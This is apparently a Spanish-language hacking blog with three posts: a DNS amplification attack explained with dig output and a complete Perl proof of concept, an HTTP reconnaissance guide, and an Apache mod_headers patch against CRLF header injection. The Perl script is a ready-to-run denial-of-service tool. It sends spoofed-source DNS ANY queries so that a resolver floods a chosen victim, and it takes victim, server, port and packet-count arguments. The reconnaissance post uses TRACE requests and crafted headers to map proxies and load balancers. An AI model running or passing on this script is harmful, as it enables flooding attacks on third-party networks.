Hacking Television

Posted on 21:11 by Xianur0



Hacking Television es un nuevo proyecto, que se ha iniciado con varios compañeros, en este vamos a colgar papers, vídeos e imagenes, como novedad este blog (aparte de transmisiones en vivo y vídeo archivo), se integra temáticas como es el hardware hacking (molificación de objetos cotidianos, modding extremo, etc...) y muchas cosas mas. Solo me resta invitarlos a que lo visiten (también las donaciones son bien recibidas... el hardware no es gratuito y tampoco se cuenta con patrocinio xD jeje).

 http://hackingtelevision.blogspot.com/

Net::RawIP es un modulo/libreria de perl, que nos permite hacer gran cantidad de cosas, entre las cuales esta enviar paquetes spoofeados (tcp, udp, icmp, generic), vamos a ver un ejemplo de ello, un PoC de DNS Amplification que me arme por ahi usando esta libreria.

Vamos a explicar la tecnica en cuestion (el codigo ya esta comentado xD)

¿por que es eficiente?

Vamos a dar un ejemplo con dig:

xianur0@Zer0-Null:~/Net-RawIP-0.25$ dig @192.168.1.254 . ANY

; <<>> DiG 9.6.1-P2 <<>> @192.168.1.254 . ANY
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53160 ;; flags: qr rd ra; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 11 ;; QUESTION SECTION: ;. IN ANY ;; ANSWER SECTION: . 452834 IN NS c.root-servers.net. . 452834 IN NS e.root-servers.net. . 452834 IN NS f.root-servers.net. . 452834 IN NS d.root-servers.net. . 452834 IN NS b.root-servers.net. . 452834 IN NS j.root-servers.net. . 452834 IN NS g.root-servers.net. . 452834 IN NS l.root-servers.net. . 452834 IN NS h.root-servers.net. . 452834 IN NS k.root-servers.net. . 452834 IN NS m.root-servers.net. . 452834 IN NS a.root-servers.net. . 452834 IN NS i.root-servers.net. . 66297 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2010060800 1800 900 604800 86400 ;; ADDITIONAL SECTION: e.root-servers.net. 538845 IN A 192.203.230.10 f.root-servers.net. 539272 IN A 192.5.5.241 f.root-servers.net. 600142 IN AAAA 2001:500:2f::f d.root-servers.net. 538814 IN A 128.8.10.90 b.root-servers.net. 538838 IN A 192.228.79.201 j.root-servers.net. 538827 IN A 192.58.128.30 j.root-servers.net. 600142 IN AAAA 2001:503:c27::2:30 g.root-servers.net. 538716 IN A 192.112.36.4 l.root-servers.net. 538832 IN A 199.7.83.42 l.root-servers.net. 157464 IN AAAA 2001:500:3::42 h.root-servers.net. 538823 IN A 128.63.2.53 ;; Query time: 1328 msec ;; SERVER: 192.168.1.254#53(192.168.1.254) ;; WHEN: Tue Jun 8 16:00:21 2010 ;; MSG SIZE rcvd: 497



es decir, nosotros solicitamos el registro any de un punto (root/raiz), y el servidor DNS nos respondio con el listado de los servidores DNS root de internet.

a cualquier servidor DNS que preguntemos esto por lo regular respondera con dicho listado. Ahora si nosotros enviamos un paquete DNS (como se ha dicho con el origen spoofeado xD) preguntando esto mismo, el servidor DNS respondera a la victima, por lo cual este ataque se amplifica (es mucho mayor lo que el servidor DNS envia que lo que nosotros enviamos).


Ahora va el PoC:


Código:
#!/usr/bin/perl

# By Xianur0
# uxmal666@gmail.com

use Net::DNS;
use Net::RawIP qw(:pcap);

print "\t\tDNS Amplification Attack By Xianur0\n\n";
my $usage = "\nUso: $0 [victima] [servidor] [Puerto victima (udp)] [N. Paquetes] [Registro]\n";

die $usage unless $ARGV[0] && $ARGV[1] && $ARGV[2] && $ARGV[3] && $ARGV[4];

my $fuckingvar1=$ARGV[0];
my $fuckingvar2=$ARGV[1];
my $fuckingvar4=$ARGV[2];
my $fuckingvar5='53';
my $registro = $ARGV[4];
my $domain = ".";
my $fuckingvar6 = 4000;
$fuckingvar6 = $ARGV[3] if ($ARGV[3] != 0);

my $packet_r = Net::DNS::Packet->new($domain, $registro, "IN"); # creamos el paquete
my $udp_r = new Net::RawIP({ip=> {saddr=>$fuckingvar1, daddr=>$fuckingvar2}, udp=>{source=>$fuckingvar4, dest=>$fuckingvar5}}); # especificamos los valores (IP Spoofeada, destino (victima), puerto origen (puerto a donde se enviara la respuesta del DNS) y destino)

print "Enviando...\n";
for($fuck = 0; $fuck < $fuckingvar6; $fuck++) {
  $udp_r->set({udp=>{data=>$packet_r->data}});
  $udp_r->send();
}


print "Enviado!\n";


Bytez xianur0

Analisis de red mediante HTTP

Posted on 11:37 by Xianur0

Antes que nada aclaro que se requiere conocimientos previos sobre el funcionamiento del HTTP, no se va a explicar el funcionamiento, solo va a mostrar los mecanismos de analisis...

Supongamos, nosotros tenemos una transferencia HTTP con web.com. Lo que podemos ver a simple vista es la respuesta que nos da, pero mas haya, nos interesa saber como esta estructurada la conexion al servidor, es decir, que puntos/proxys/balanceadores de carga hay?

Y por que nos seria util saber eso?, por varias razones, por ejemplo si determinamos la estructura que hay, podemos analizar las reglas de cada uno de los proxys y por consiguiente utilizarlo para algo "no tan bueno". Sin mas comenzemos:


de inicio vamos a utiliza webs reales, pero ocultando las direcciones, para evitarnos problemas....
Solo llames a estas webs: www.servidor1.com y www.servidor2.com.


La prueba que siempre nos sera de utilidad es la del TRACE:


TRACE / HTTP/1.0
Host: www.servidor1.com
X: <script>alert(/xss/.source)</script>



Esta prueba nos ayudara a determinar si se edito el paquete en algun punto de la red antes de llegar al servidor, es decir, la respuesta aproximada a esta consulta deberia de ser:


HTTP/1.1 200 OK
Date: Sat, 05 Jun 2010 17:20:26 GMT
Server: Apache
Transfer-Encoding: chunked
Content-Type: message/http

50
TRACE / HTTP/1.1
Host: www.servidor1.com
X: <script>alert(/xss/.source)</script>


0



suponiendo que el servidor solo envia datos con Transfer-encoding chunked.

esto es, se responde como contenido lo que enviamos, en caso de que la respuesta sea diferente, quiere decir que tenemos algo en la red, del mismo modo podemos extraer datos de eso, es decir segun cabeceras añadidas en el envio, se pueden determinar algunas cosas, por ejemplo:

HTTP/1.0 200 OK
Date: Sat, 05 Jun 2010 17:23:46 GMT
Server: Apache/2.2.8 (Unix) PHP/5.2.12
Content-Type: message/http
X-Cache: MISS from wefwfg
X-Cache-Lookup: NONE from wefwfg:80
Via: 1.0 wefwfg:80 (squid/2.6.STABLE5)
Connection: close

TRACE / HTTP/1.0
Host: www.servidor2.com
Via: 1.1 wefwfg:80 (squid/2.6.STABLE5)
X-Forwarded-For: 189.xx.xx.xx
Cache-Control: max-age=259200
Connection: keep-alive



esto es, primero que nada podemos ver en el encabezado:

X-Cache: MISS from wefwfg
X-Cache-Lookup: NONE from wefwfg:80
Via: 1.0 wefwfg:80 (squid/2.6.STABLE5)


Para comenzar ahi podemos determinar que se utiliza un servidor proxy cache llamado wefwfg, el usa el puerto 80, y es un squid/2.6.STABLE5, de momento ya sabemos que hay un servidor proxy cache implicado, pero eso no es todo.

TRACE / HTTP/1.0
Host: www.servidor2.com
Via: 1.1 wefwfg:80 (squid/2.6.STABLE5)
X-Forwarded-For: 189.xx.xx.xx
Cache-Control: max-age=259200
Connection: keep-alive



El proxy cache agrega las cabeceras Via, X-Forwarded-For, Cache-Control y Connection.

Lo que enviamos al servidor fue (en este caso):

TRACE / HTTP/1.1
Host: www.servidor2.com



Y ese envio no coincide con lo que le llego al servidor....

Ahora otro detalle: se envio la cabecera X-Forwarded-For, con mi ip, esto quiere decir, que a simple vista, no hay otro servidor proxy antes de este squid, en otras palabras, el servidor principal, al cual nos conectamos fue: wefwfg, y este realizo la conexion al servidor donde se encuentra www.servidor2.com

Ahora nos queda determinar si se balancea la carga (es decir que hubiera mas servidores en esto...), como podriamos hacer esto?, mediante un envio recursivo de datos, lo mas comun es detectar cabeceras Date, que no coincide (es decir, fallan por 1 minuto, 1 hora, 1 año, o mas...) o alguna diferencia en otra cabecera que marque tiempo o algo similar que pueda variar en caso de tratarse de otro servidor.

Pero no estas conformes con estas tecnicas, por la simple razon de que no funcionan en todos los servidores, es decir si el proxy no edita la respuesta, si no envia via o cabeceras similares o el servidor web no soporta TRACE, entonces no funcionaran, vamos a ver algunas mas:


GET http://localhost/ HTTP/1.1
Host: localhost
Connection: Close
Proxy-Connection: Close




Esto es una trampa doble, para comenzar, se pide localhost, es decir si hay un proxy este intentara conectarse a si mismo en el puerto 80, lo cual por lo regular causaria un bucle infinito (en caso de ser un proxy sin filtro para esto), un 403 o un 500. Pero adicional a eso pueden aver algunos otros datos:

HTTP/1.1 403 Forbidden
Date: Sat, 05 Jun 2010 17:20:32 GMT
Content-Length: 257
Content-Type: text/html
Server: NetCache appliance (NetApp/5.4R2D2)



Tenemos un 403, y aparte en la cabecera Server, tenemos datos del servidor proxy, en este caso un NetCache (Version 5.4R2D2).

Ahora dije que era una trampa doble, como podran notar agrege 2 tokens para la conexion (encabezados Connection y Proxy-Connection), es decir, en caso de no recibir un 403 o 500, podemos recibir en el encabezado de la respuesta un Connection: close o un Proxy-Connection: Close.

Un servidor web comun no utiliza Proxy-Connection, un proxy si...

Ahora podemos usar eso mismo con otra clase de consultas y ayudaria bastante...

Ahora regresando a lo del balanceo de cargas, lo mas eficiente para estos casos, aparte de revisar que las cabeceras no cuadren con lo que deberian, se puede forzar al servidor a mostrarse, como?

mediante un envio recursivo de paquetes, es decir, podemos determinar cuando un servidor cambie por ciertos detalles por ejemplo:

un servidor soporta 3 paquetes por conexion persistente, es decir:

GET / HTTP/1.1
Host: servidor2.com
Connection: keep-alive

GET / HTTP/1.1
Host: servidor2.com
Connection: keep-alive

GET / HTTP/1.1
Host: servidor2.com
Connection: close



y respondera a esas 3 consultas en la misma conexion, pero a la siguiente consulta, soporta 4?, ahi detectamos que son servidores diferentes...

Otro:

Enviamos varias consultas con diferentes metodos, determinamos que metodos soporta y si en otra vuelta, no soporta algun metodo, es lo mismo, es otro servidor...


Bueno concluimos con este paper diciendo lo siguiente:
la seguridad es solo un mito, los proxys invisibles no existen, siempre hay una forma de detectar cuando algo que esta ahi, no deberia estar ahi ;)...

PD: para mas informacion y mas tecnicas, asistir a mi conferencia en x25sec xd jajajaj

Saludos!, esto es todo por el momento... xD....

Parchando mod_headers

Posted on 9:07 by Xianur0

Bueno ahora viene la forma de parchar el mod_headers (apache2)...

Primero que nada se requiere el mod_headers.c (viene en cualquier paquete de codigo fuente del apache), luego viene lo siguiente:


static int nocrlf(char *val) {
ap_regex_t *regex;
ap_regcomp(&regex, "\n",AP_REG_EXTENDED);
if(ap_regexec(&regex, val, 0, NULL, 0) != 0) {
return 1;
}
return 0;
}




esa funcion retorna 1 en caso de que no tenga crlf lo que le demos como parametro, de lo contrario 0... esto es mediante expresiones regulares (nadamas buscamos un \n y es todo xD...).

la podemos colocar en cualquier lado (no importa mucho donde declaramos esta funcion), en mi caso lo puse en la linea 510...

lo siguiente es hacer que no setie las cabeceras cuando tienen crlf...

busquemos:

switch (hdr->action) {



y justamente antes ponemos:

if(nocrlf(process_tags(hdr, r)) == 1)



esto es, si hay crlf en el header no se entra al switch, de modo que no se setea la cabecera...

listo, ya tenemos el mod_headers parchado, ahora nos toca instalarlo:



root@Zer0-Null:/usr/local/apache2/bin# ./apxs -cia /home/xianur0/httpd-2.3.5-alpha/modules/metadata/mod_headers.c



bueno eso fue en mi caso, nadamas hay que posicionarnos en la ruta donde este instalado nuestro apache, y buscar el apxs (tiene que estar instalado, de otro modo tendriamos que recompilar el apache :S...) y darle la ruta del mod_headers.c

y ahora ya, tenemos parchado mod_headers y nuestro apache :)...